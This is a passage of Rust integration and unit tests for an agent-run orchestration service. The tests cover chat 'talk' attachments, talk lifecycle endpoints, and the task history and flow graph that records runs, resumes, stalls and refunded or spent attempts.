14983            StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
14984            "{}",
14985            big.body
14986        );
14987    }
14988
14989    #[tokio::test]
14990    async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
14991        let f = Fixture::start().await;
14992        let id = seed_talk(&f, "20260905-000000-d4e5", "open");
14993
14994        // A whitelisted `Content-Type`, but bytes that are not actually a
14995        // png - the declared header alone is never trusted.
14996        let res = f
14997            .post_bytes(
14998                &format!("/api/talks/{id}/attachments"),
14999                &[("Content-Type", "image/png")],
15000                b"<html>not a picture</html>",
15001            )
15002            .await;
15003        assert!((400..500).contains(&res.status), "{}", res.body);
15004    }
15005
15006    #[tokio::test]
15007    async fn an_unknown_attachment_id_is_a_404() {
15008        let f = Fixture::start().await;
15009        let id = seed_talk(&f, "20260905-000000-e5f6", "open");
15010
15011        let res = f
15012            .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
15013            .await;
15014        assert_eq!(res.status, 404, "{}", res.body);
15015    }
15016
15017    #[tokio::test]
15018    async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
15019        let f = Fixture::start().await;
15020        let id = seed_talk(&f, "20260905-000000-f6a7", "open");
15021
15022        let uploaded = f
15023            .post_bytes(
15024                &format!("/api/talks/{id}/attachments"),
15025                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
15026                PNG_BYTES,
15027            )
15028            .await;
15029        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
15030        let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
15031
15032        let res = f
15033            .post(
15034                &format!("/api/talks/{id}/say"),
15035                Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
15036            )
15037            .await;
15038        assert_eq!(res.status, 202, "{}", res.body);
15039        let queued = res.json();
15040        let turns = queued["turns"].as_array().expect("turns array");
15041        assert_eq!(
15042            turns.len(),
15043            1,
15044            "an empty body with an attachment is still a turn: {queued}"
15045        );
15046        assert_eq!(turns[0]["who"], "operator");
15047        assert_eq!(turns[0]["body"], "");
15048        let atts = turns[0]["attachments"]
15049            .as_array()
15050            .expect("attachments array");
15051        assert_eq!(atts.len(), 1);
15052        assert_eq!(atts[0]["id"], att_id);
15053        assert_eq!(atts[0]["mime"], "image/png");
15054
15055        // Not only in the response: `record` flushes to disk before the
15056        // agent's own turn is even spawned.
15057        let on_disk = f.talks().get(&id).expect("get");
15058        assert_eq!(on_disk.turns[0].attachments.len(), 1);
15059        assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
15060    }
15061
15062    #[tokio::test]
15063    async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
15064        let f = Fixture::start().await;
15065        let id = seed_talk(&f, "20260905-000000-a7b8", "open");
15066
15067        let res = f
15068            .post(
15069                &format!("/api/talks/{id}/say"),
15070                Some(&format!(
15071                    r#"{{"text":"hi","attachments":["{}"]}}"#,
15072                    "a".repeat(32)
15073                )),
15074            )
15075            .await;
15076        assert!((400..500).contains(&res.status), "{}", res.body);
15077        assert!(res.body.contains("unknown attachment"), "{}", res.body);
15078
15079        let on_disk = f.talks().get(&id).expect("get");
15080        assert!(
15081            on_disk.turns.is_empty(),
15082            "a rejected attachment id must not partially record the turn: {:?}",
15083            on_disk.turns
15084        );
15085    }
15086
15087    #[tokio::test]
15088    async fn talk_close_makes_the_talk_refuse_further_turns() {
15089        let f = Fixture::start().await;
15090        let id = seed_talk(&f, "20260904-014455-cd34", "open");
15091
15092        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
15093        assert_eq!(closed.status, 200, "{}", closed.body);
15094        assert_eq!(closed.json()["status"], "closed");
15095
15096        // Idempotent: closing an already-closed talk is not an error.
15097        let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
15098        assert_eq!(closed_again.status, 200);
15099        assert_eq!(closed_again.json()["status"], "closed");
15100
15101        let said = f
15102            .post(
15103                &format!("/api/talks/{id}/say"),
15104                Some(r#"{"text":"too late"}"#),
15105            )
15106            .await;
15107        assert_eq!(said.status, 409, "{}", said.body);
15108    }
15109
15110    #[tokio::test]
15111    async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
15112        let (_tmp, _repo, f) = talk_fixture().await;
15113        let id = f.post("/api/talks", None).await.json()["id"]
15114            .as_str()
15115            .expect("id")
15116            .to_owned();
15117        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
15118        assert_eq!(closed.status, 200, "{}", closed.body);
15119
15120        let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
15121        assert_eq!(reopened.status, 200, "{}", reopened.body);
15122        assert_eq!(reopened.json()["status"], "open");
15123
15124        // Idempotent: reopening an already-open talk is not an error.
15125        let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
15126        assert_eq!(reopened_again.status, 200);
15127        assert_eq!(reopened_again.json()["status"], "open");
15128
15129        let said = f
15130            .post(
15131                &format!("/api/talks/{id}/say"),
15132                Some(r#"{"text":"still there?"}"#),
15133            )
15134            .await;
15135        assert_eq!(
15136            said.status, 202,
15137            "a reopened talk accepts turns again: {}",
15138            said.body
15139        );
15140    }
15141
15142    #[tokio::test]
15143    async fn talk_reopen_on_an_unknown_id_is_404() {
15144        let f = Fixture::start().await;
15145        let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
15146        assert_eq!(res.status, 404, "{}", res.body);
15147    }
15148
15149    #[tokio::test]
15150    async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
15151        let f = Fixture::start().await;
15152        let id = seed_talk(&f, "20260904-014455-ef56", "closed");
15153
15154        let deleted = f.delete(&format!("/api/talks/{id}")).await;
15155        assert_eq!(deleted.status, 204, "{}", deleted.body);
15156
15157        let after = f.get(&format!("/api/talks/{id}")).await;
15158        assert_eq!(after.status, 404, "{}", after.body);
15159
15160        let listed = f.get("/api/talks").await.json();
15161        assert!(
15162            listed.as_array().unwrap().iter().all(|t| t["id"] != id),
15163            "a deleted talk must not linger in the list: {listed}"
15164        );
15165    }
15166
15167    #[tokio::test]
15168    async fn talk_delete_on_an_unknown_id_is_404() {
15169        let f = Fixture::start().await;
15170        let res = f.delete("/api/talks/nonexistent-id").await;
15171        assert_eq!(res.status, 404, "{}", res.body);
15172    }
15173
15174    /// A task's page lists every run it ever had, in order, and says what kind
15175    /// of attempt each was - including a resume, which re-pushes the same run
15176    /// id, and a run whose record this build cannot read.
15177    #[tokio::test]
15178    async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
15179        let f = Fixture::start().await;
15180        let (a, b, gone) = (
15181            "20260902-140501-aaaa",
15182            "20260902-140502-bbbb",
15183            "20260902-140503-cccc",
15184        );
15185        write_run(&f.runs(), a, RunStatus::Stalled);
15186        let mut review = RunState::new(
15187            PathBuf::from("/repo/magi"),
15188            "main".to_owned(),
15189            "0123456789abcdef".to_owned(),
15190            "Review the work already on branch `magi/aaaa/A`. There is no task statement."
15191                .to_owned(),
15192            Config::default(),
15193        );
15194        review.id = b.to_owned();
15195        review.status = RunStatus::Merged;
15196        write_state(&f.runs(), &review);
15197
15198        let mut task = Task::new(
15199            "retry".to_owned(),
15200            "Do the thing".to_owned(),
15201            PathBuf::from("/repo/magi"),
15202            Source::Human,
15203        );
15204        task.start(a.to_owned());
15205        task.stall("quota");
15206        task.start(a.to_owned());
15207        task.start(b.to_owned());
15208        task.start(gone.to_owned());
15209        // This fixture models an older queue file with repeated run entries.
15210        task.runs = [a, a, b, gone].map(str::to_owned).to_vec();
15211        f.queue().put(&mut task).expect("file the task");
15212
15213        let res = f.get(&format!("/api/queue/{}", task.id)).await;
15214        assert_eq!(res.status, 200, "{}", res.body);
15215        let v = res.json();
15216        let h = v["history"].as_array().expect("history");
15217        assert_eq!(h.len(), 4, "{v}");
15218        assert_eq!(h[0]["kind"], "competition");
15219        assert_eq!(h[0]["status"], "stalled");
15220        assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
15221        assert_eq!(h[1]["kind"], "resume", "{v}");
15222        assert!(
15223            h[0]["outcome"]
15224                .as_str()
15225                .unwrap()
15226                .contains("unknown. Pass #2"),
15227            "an earlier pass of a resumed run must not claim the final outcome: {v}"
15228        );
15229        assert!(
15230            !h[1]["outcome"].as_str().unwrap().contains("unknown."),
15231            "{v}"
15232        );
15233        assert!(
15234            !h[0]["outcome"].as_str().unwrap().contains("parked it"),
15235            "an unrecorded cause must not be narrated as an operator park: {v}"
15236        );
15237        assert_eq!(h[2]["kind"], "review");
15238        assert!(
15239            h[2]["description"]
15240                .as_str()
15241                .unwrap()
15242                .contains("magi/aaaa/A")
15243        );
15244        assert_eq!(h[2]["status"], "merged");
15245        assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
15246        assert_eq!(v["runs_unreadable"], 1);
15247        let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
15248        assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
15249        assert_eq!(nodes[4]["note"], "unreadable");
15250        assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
15251        assert_eq!(v["instruction"], "Do the thing");
15252        assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
15253
15254        // The run's own page links back to the task.
15255        let run = f.get(&format!("/api/runs/{a}")).await.json();
15256        assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
15257
15258        assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
15259    }
15260
15261    fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
15262        let mut s = RunState::new(
15263            PathBuf::from("/repo/magi"),
15264            "main".to_owned(),
15265            "0123456789abcdef".to_owned(),
15266            "Do it".to_owned(),
15267            Config::default(),
15268        );
15269        s.status = status;
15270        edit(&mut s);
15271        s
15272    }
15273
15274    fn flow_task(runs: &[&str]) -> Task {
15275        let mut t = Task::new(
15276            "t".to_owned(),
15277            "Do it".to_owned(),
15278            PathBuf::from("/repo/magi"),
15279            Source::Human,
15280        );
15281        for r in runs {
15282            t.start((*r).to_owned());
15283        }
15284        // Synthetic flows without RunPass records model legacy queue data.
15285        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
15286        t
15287    }
15288
15289    fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
15290        let h = task_history(task, |id| {
15291            states
15292                .iter()
15293                .find(|(i, _)| *i == id)
15294                .and_then(|(_, s)| s.clone())
15295        });
15296        task_flow(task, &h, 5, None)
15297    }
15298
15299    #[test]
15300    fn flow_start_times_use_each_pass_not_run_updates_or_settlements() {
15301        let queued = "2026-10-10T00:00:00Z".parse().unwrap();
15302        let created = "2026-10-10T01:00:00Z".parse().unwrap();
15303        let first = "2026-10-10T02:00:00Z".parse().unwrap();
15304        let resumed = "2026-10-10T03:00:00Z".parse().unwrap();
15305        let held = "2026-10-10T04:00:00Z".parse().unwrap();
15306        let run = flow_run(RunStatus::Implementing, |s| {
15307            s.created_at = created;
15308            s.passes = vec![recorded_pass(0, None), recorded_pass(1, None)];
15309            s.passes[0].started_at = first;
15310            s.passes[1].started_at = resumed;
15311        });
15312        let mut task = flow_task(&[RUN_X, RUN_X]);
15313        task.created_at = queued;
15314        task.passes = vec![settled_pass(RUN_X, 0, crate::queue::PassCost::Refunded)];
15315        task.status = TaskStatus::Held;
15316        task.held_at = Some(held);
15317        let flow = flow_for(&task, &[(RUN_X, Some(run))]);
15318        assert_eq!(
15319            flow.nodes.iter().map(|n| n.started_at).collect::<Vec<_>>(),
15320            vec![Some(queued), Some(first), Some(resumed), Some(held)]
15321        );
15322        assert!(flow.nodes.iter().all(|n| n.time_expected));
15323        let json = serde_json::to_value(&flow).unwrap();
15324        assert_eq!(json["nodes"][2]["started_at"], resumed.to_string());
15325        assert_eq!(json["nodes"][2]["time_expected"], true);
15326    }
15327
15328    #[test]
15329    fn flow_start_times_leave_legacy_resumes_unreadable_and_status_starts_unknown() {
15330        let created = "2026-10-10T01:00:00Z".parse().unwrap();
15331        let run = flow_run(RunStatus::Implementing, |s| s.created_at = created);
15332        let mut task = flow_task(&[RUN_X, RUN_X, "missing"]);
15333        // These timestamps are not the start of the current status.
15334        task.held_at = Some(created);
15335        task.blocked_at = Some(created);
15336        for status in [
15337            TaskStatus::Queued,
15338            TaskStatus::Running,
15339            TaskStatus::Blocked,
15340            TaskStatus::Done,
15341            TaskStatus::Failed,
15342            TaskStatus::Parked,
15343            TaskStatus::Held,
15344        ] {
15345            task.status = status;
15346            if status == TaskStatus::Held {
15347                task.held_at = None;
15348            }
15349            let flow = flow_for(&task, &[(RUN_X, Some(run.clone()))]);
15350            assert_eq!(flow.nodes[1].started_at, Some(created));
15351            assert_eq!(flow.nodes[2].started_at, None, "legacy resume");
15352            assert_eq!(flow.nodes[3].started_at, None, "unreadable run");
15353            assert_eq!(flow.nodes[4].started_at, None, "{status:?}");
15354            let json = serde_json::to_value(&flow).unwrap();
15355            assert!(json["nodes"][3]["started_at"].is_null());
15356            assert_eq!(json["nodes"][3]["time_expected"], true);
15357        }
15358    }
15359
15360    #[test]
15361    fn flow_context_links_do_not_expect_start_times() {
15362        let mut task = flow_task(&[]);
15363        task.source = Source::Agent {
15364            run: "chat-id".to_owned(),
15365            node: "chat".to_owned(),
15366        };
15367        let origin = followup_origin(&fu(None), |_| None, |_| None);
15368        let flow = task_flow(&task, &[], 5, Some(&origin));
15369        for node in &flow.nodes[..2] {
15370            assert!(!node.time_expected);
15371            assert_eq!(node.started_at, None);
15372        }
15373        assert!(flow.nodes[2].time_expected);
15374    }
15375
15376    fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
15377        crate::queue::FollowUp {
15378            run: "20260901-000000-aaaa".to_owned(),
15379            origin_task: origin_task.map(str::to_owned),
15380            pr: "https://example.com/o/r/pull/1".to_owned(),
15381            findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
15382                .map(str::to_owned)
15383                .to_vec(),
15384            generation: 1,
15385        }
15386    }
15387
15388    fn parent_task() -> Task {
15389        let mut p = flow_task(&[]);
15390        p.title = "Parent title".to_owned();
15391        p.status = TaskStatus::Done;
15392        p
15393    }
15394
15395    #[test]
15396    fn flow_opens_with_the_parent_task_of_a_followup() {
15397        let p = parent_task();
15398        let pid = p.id.clone();
15399        let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
15400        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
15401        let n = &f.nodes[0];
15402        assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
15403        assert_eq!(
15404            n.label,
15405            format!("Follow-up of {}", crate::queue::short(&pid))
15406        );
15407        assert_eq!(n.detail.as_deref(), Some("Parent title"));
15408        assert_eq!(n.status, Some("done"));
15409        assert_eq!(n.status_of, "task");
15410        assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
15411        assert_eq!(f.nodes[1].key, "start");
15412        assert_eq!(f.edges[0].from, "origin");
15413        assert_eq!(
15414            f.edges[0].label,
15415            "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
15416        );
15417    }
15418
15419    #[test]
15420    fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
15421        let o = followup_origin(
15422            &fu(Some("gone")),
15423            |_| None,
15424            |_| {
15425                Some(RunState::new(
15426                    std::path::PathBuf::from("."),
15427                    "main".to_owned(),
15428                    "0".to_owned(),
15429                    "t".to_owned(),
15430                    crate::config::Config::default(),
15431                ))
15432            },
15433        );
15434        assert!(o.parent.is_none());
15435        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
15436        let n = &f.nodes[0];
15437        assert_eq!(n.status_of, "run");
15438        assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
15439        assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
15440    }
15441
15442    #[test]
15443    fn flow_followup_with_nothing_readable_has_no_link() {
15444        let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
15445        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
15446        let n = &f.nodes[0];
15447        assert_eq!(n.href, None);
15448        assert_eq!(n.note, Some("unreadable"));
15449        assert!(!n.readable);
15450    }
15451
15452    #[test]
15453    fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
15454        let o = followup_origin(&fu(None), |_| None, |_| None);
15455        let mut t = flow_task(&[]);
15456        t.origin_chat = Some("c1".to_owned());
15457        let f = task_flow(&t, &[], 5, Some(&o));
15458        assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
15459        t.source = Source::Agent {
15460            run: "c1".to_owned(),
15461            node: crate::queue::CHAT_NODE.to_owned(),
15462        };
15463        let f = task_flow(&t, &[], 5, Some(&o));
15464        assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
15465        assert_eq!(
15466            (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
15467            ("chat", "origin")
15468        );
15469    }
15470
15471    #[test]
15472    fn followup_origin_encodes_ids_and_survives_a_self_reference() {
15473        let mut p = parent_task();
15474        p.id = "a b/c".to_owned();
15475        let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
15476        assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
15477    }
15478
15479    #[test]
15480    fn flow_opens_with_the_chat_that_queued_the_task() {
15481        let mut t = flow_task(&[]);
15482        t.source = Source::Agent {
15483            run: "a b/c".to_owned(),
15484            node: crate::queue::CHAT_NODE.to_owned(),
15485        };
15486        let f = flow_for(&t, &[]);
15487        assert_eq!(f.nodes[0].key, "chat");
15488        assert_eq!(f.nodes[0].kind, "chat");
15489        assert_eq!(
15490            f.nodes[0].label,
15491            format!("Chat {}", crate::queue::short("a b/c"))
15492        );
15493        assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
15494        assert_eq!(f.nodes[1].key, "start");
15495        assert_eq!(
15496            f.edges[0],
15497            FlowEdge {
15498                from: "chat".to_owned(),
15499                to: "start".to_owned(),
15500                label: "queued from chat".to_owned(),
15501                attempt: AttemptCost::None,
15502            }
15503        );
15504    }
15505
15506    #[test]
15507    fn flow_has_no_chat_box_for_other_sources() {
15508        for source in [
15509            Source::Human,
15510            Source::Issue {
15511                number: 3,
15512                repo: "o/r".to_owned(),
15513            },
15514            Source::Agent {
15515                run: "20260904-014455-ab12".to_owned(),
15516                node: "implement".to_owned(),
15517            },
15518        ] {
15519            let mut t = flow_task(&[]);
15520            t.source = source;
15521            let f = flow_for(&t, &[]);
15522            assert_eq!(f.nodes[0].key, "start");
15523            assert!(f.nodes.iter().all(|n| n.kind != "chat"));
15524            assert!(f.edges.iter().all(|e| e.from != "chat"));
15525        }
15526    }
15527
15528    const FA: &str = "20260902-140501-aaaa";
15529    const FB: &str = "20260902-140502-bbbb";
15530
15531    #[test]
15532    fn flow_follows_blocked_retry_merged_to_done() {
15533        let mut t = flow_task(&[FA, FB]);
15534        t.status = TaskStatus::Done;
15535        let f = flow_for(
15536            &t,
15537            &[
15538                (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
15539                (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
15540            ],
15541        );
15542        let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
15543        assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
15544        assert_eq!(f.edges.len(), 3);
15545        assert_eq!(f.edges[0].label, "claimed");
15546        assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
15547        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
15548        assert_eq!(f.edges[2].label, "merged \u{2192} done");
15549        assert_eq!(
15550            f.nodes[2].href.as_deref(),
15551            Some("#/runs/20260902-140502-bbbb")
15552        );
15553        assert!(f.nodes[2].decided);
15554    }
15555
15556    #[test]
15557    fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
15558        let quota = || {
15559            flow_run(RunStatus::Stalled, |s| {
15560                s.quota.push(crate::run::QuotaLoss {
15561                    seat: "judge-1".to_owned(),
15562                    node: "judge".to_owned(),
15563                    at: Timestamp::now(),
15564                    reset: None,
15565                })
15566            })
15567        };
15568        let mut t = flow_task(&[FA, FA]);
15569        t.status = TaskStatus::Queued;
15570        let f = flow_for(&t, &[(FA, Some(quota()))]);
15571        assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
15572        assert_eq!(f.nodes[1].note, Some("interrupted"));
15573        assert_eq!(
15574            f.nodes[1].status, None,
15575            "no outcome copied onto an earlier pass"
15576        );
15577        assert_eq!(
15578            f.edges[1].attempt,
15579            AttemptCost::Unknown,
15580            "a resume does not prove the earlier pass was refunded"
15581        );
15582        assert!(f.edges[1].label.contains("resume the same run"));
15583        assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
15584        assert_eq!(
15585            f.edges[2].label,
15586            "stalled after a resume, refund unknown \u{2192} queued"
15587        );
15588        assert!(!f.nodes[2].decided, "a stall is not a decision");
15589        assert_eq!(f.nodes[2].note, Some("no verdict"));
15590    }
15591
15592    #[test]
15593    fn flow_single_pass_quota_stall_is_refunded() {
15594        let t = flow_task(&[FA]);
15595        let f = flow_for(
15596            &t,
15597            &[(
15598                FA,
15599                Some(flow_run(RunStatus::Stalled, |s| {
15600                    s.quota.push(crate::run::QuotaLoss {
15601                        seat: "judge-1".to_owned(),
15602                        node: "judge".to_owned(),
15603                        at: Timestamp::now(),
15604                        reset: None,
15605                    })
15606                })),
15607            )],
15608        );
15609        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
15610    }
15611
15612    #[test]
15613    fn flow_parked_refunds_and_stall_without_quota_spends() {
15614        let mut t = flow_task(&[FA]);
15615        t.status = TaskStatus::Queued;
15616        let f = flow_for(
15617            &t,
15618            &[(
15619                FA,
15620                Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
15621            )],
15622        );
15623        assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
15624        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
15625        let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
15626        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
15627        assert!(!f.nodes[1].decided);
15628    }
15629
15630    #[test]
15631    fn flow_keeps_an_unreadable_run_as_its_own_node() {
15632        let t = flow_task(&[FA, FB]);
15633        let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
15634        assert_eq!(f.nodes[1].note, Some("unreadable"));
15635        assert!(!f.nodes[1].readable);
15636        assert_eq!(f.nodes[1].run_kind, Some("unknown"));
15637        assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
15638    }
15639
15640    #[test]
15641    fn flow_names_the_branch_of_a_review_only_run() {
15642        let t = flow_task(&[FA]);
15643        let f = flow_for(
15644            &t,
15645            &[(
15646                FA,
15647                Some(flow_run(RunStatus::Merged, |s| {
15648                    s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
15649                })),
15650            )],
15651        );
15652        assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
15653        assert_eq!(
15654            f.nodes[1].detail.as_deref(),
15655            Some("review-only run of branch magi/x/A")
15656        );
15657    }
15658
15659    #[test]
15660    fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
15661        let mut t = flow_task(&[FA]);
15662        t.status = TaskStatus::Held;
15663        let pr = crate::run::PrRecord {
15664            url: "https://example.test/pr/1".to_owned(),
15665            number: 1,
15666            state: "open".to_owned(),
15667            checks: "green".to_owned(),
15668            round: 0,
15669            rounds: 3,
15670            red_at_merge: Vec::new(),
15671        };
15672        let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
15673        let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
15674        assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
15675        t.status = TaskStatus::Done;
15676        let f = flow_for(&t, &[(FA, Some(blocked))]);
15677        assert_eq!(f.edges[1].label, "closed by hand: task is done");
15678    }
15679
15680    #[test]
15681    fn flow_with_no_runs_goes_from_queued_to_queued() {
15682        let t = flow_task(&[]);
15683        let f = flow_for(&t, &[]);
15684        assert_eq!(f.nodes.len(), 2);
15685        assert_eq!(f.edges.len(), 1);
15686        assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
15687        assert_eq!(f.edges[0].attempt, AttemptCost::None);
15688    }
15689
15690    /// A run parked mid-flight keeps a non-terminal status; the page must
15691    /// still say why it stopped and that the attempt came back.
15692    #[test]
15693    fn a_parked_non_terminal_run_is_explained_as_parked() {
15694        let mut s = RunState::new(
15695            PathBuf::from("/repo/magi"),
15696            "main".to_owned(),
15697            "0123456789abcdef".to_owned(),
15698            "Do it".to_owned(),
15699            Config::default(),
15700        );
15701        s.status = RunStatus::Implementing;
15702        s.parked = true;
15703        let task = Task::new(
15704            "t".to_owned(),
15705            "Do it".to_owned(),
15706            PathBuf::from("/repo/magi"),
15707            Source::Human,
15708        );
15709        let v = task_run_view(
15710            "20260902-140501-aaaa",
15711            Some(&s),
15712            RunSlot {
15713                n: 1,
15714                resumed: false,
15715                resumed_later: None,
15716                prior: None,
15717                last: true,
15718                ..RunSlot::default()
15719            },
15720            &task,
15721        );
15722        assert!(v.outcome.contains("Parked"), "{}", v.outcome);
15723    }
15724
15725    fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
15726        let mut s = flow_run(RunStatus::Implementing, edit);
15727        s.parked = false;
15728        let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
15729        task_run_view(
15730            "20260902-140501-aaaa",
15731            Some(&s),
15732            RunSlot {
15733                n: 1,
15734                resumed: false,
15735                resumed_later: Some(2),
15736                prior: None,
15737                last: false,
15738                ..RunSlot::default()
15739            },
15740            &task,
15741        )
15742    }
15743
15744    #[test]
15745    fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
15746        let v = earlier_pass_view(|_| {});
15747        assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
15748        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
15749        assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
15750        assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
15751        assert_eq!(v.exit, RunExit::Interrupted);
15752        assert_eq!(v.attempt, AttemptCost::Unknown);
15753    }
15754
15755    #[test]
15756    fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
15757        let v = earlier_pass_view(|s| {
15758            s.quota.push(crate::run::QuotaLoss {
15759                seat: "judge-1".to_owned(),
15760                node: "judge".to_owned(),
15761                at: Timestamp::now(),
15762                reset: None,
15763            });
15764        });
15765        assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
15766        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
15767        assert_eq!(v.attempt, AttemptCost::Unknown);
15768    }
15769
15770    #[test]
15771    fn the_current_pass_states_its_recorded_cause_and_cost() {
15772        let slot = || RunSlot {
15773            n: 1,
15774            resumed: false,
15775            resumed_later: None,
15776            prior: None,
15777            last: true,
15778            ..RunSlot::default()
15779        };
15780        let task = flow_task(&["20260902-140501-aaaa"]);
15781        let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
15782        let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
15783        assert_eq!(
15784            (v.exit, v.attempt),
15785            (RunExit::Parked, AttemptCost::Refunded)
15786        );
15787        let spent = flow_run(RunStatus::Blocked, |_| {});
15788        let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
15789        assert_eq!(v.attempt, AttemptCost::Spent);
15790        assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
15791    }
15792
15793    fn recorded_pass(index: usize, end: Option<crate::run::PassEnd>) -> crate::run::RunPass {
15794        crate::run::RunPass {
15795            index,
15796            started_at: Timestamp::now(),
15797            resumed: index > 0,
15798            ended_at: end.as_ref().map(|_| Timestamp::now()),
15799            end,
15800            task_entry: true,
15801        }
15802    }
15803
15804    fn parked(cause: crate::run::ParkCause) -> Option<crate::run::PassEnd> {
15805        Some(crate::run::PassEnd::Parked { cause })
15806    }
15807
15808    fn upgrade_cause() -> crate::run::ParkCause {
15809        crate::run::ParkCause::Upgrade {
15810            from: "0.121.0".to_owned(),
15811            to: Some("0.121.1".to_owned()),
15812        }
15813    }
15814
15815    fn settled_pass(
15816        run: &str,
15817        index: usize,
15818        cost: crate::queue::PassCost,
15819    ) -> crate::queue::TaskPass {
15820        crate::queue::TaskPass {
15821            run: run.to_owned(),
15822            pass_index: index,
15823            cost,
15824            attempts_after: 1,
15825            settled_at: Timestamp::now(),
15826            parked: None,
15827        }
15828    }
15829
15830    const RUN_X: &str = "20261011-223708-4334";
15831
15832    #[test]
15833    fn an_upgrade_pause_and_its_resume_are_two_passes_of_one_run_and_one_attempt() {
15834        use crate::queue::PassCost;
15835        let run = flow_run(RunStatus::Implementing, |s| {
15836            s.passes = vec![
15837                recorded_pass(0, parked(upgrade_cause())),
15838                recorded_pass(1, None),
15839            ];
15840        });
15841        let mut task = flow_task(&[RUN_X, RUN_X]);
15842        task.attempts = 1;
15843        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
15844        let h = task_history(&task, |_| Some(run.clone()));
15845        assert_eq!(h.len(), 2);
15846        assert_eq!(h[0].kind, "competition");
15847        assert_eq!(h[1].kind, "resume");
15848        assert_eq!(
15849            (h[0].exit, h[0].attempt),
15850            (RunExit::Parked, AttemptCost::Refunded)
15851        );
15852        assert!(
15853            h[0].outcome.contains("upgrade 0.121.0 \u{2192} 0.121.1"),
15854            "{}",
15855            h[0].outcome
15856        );
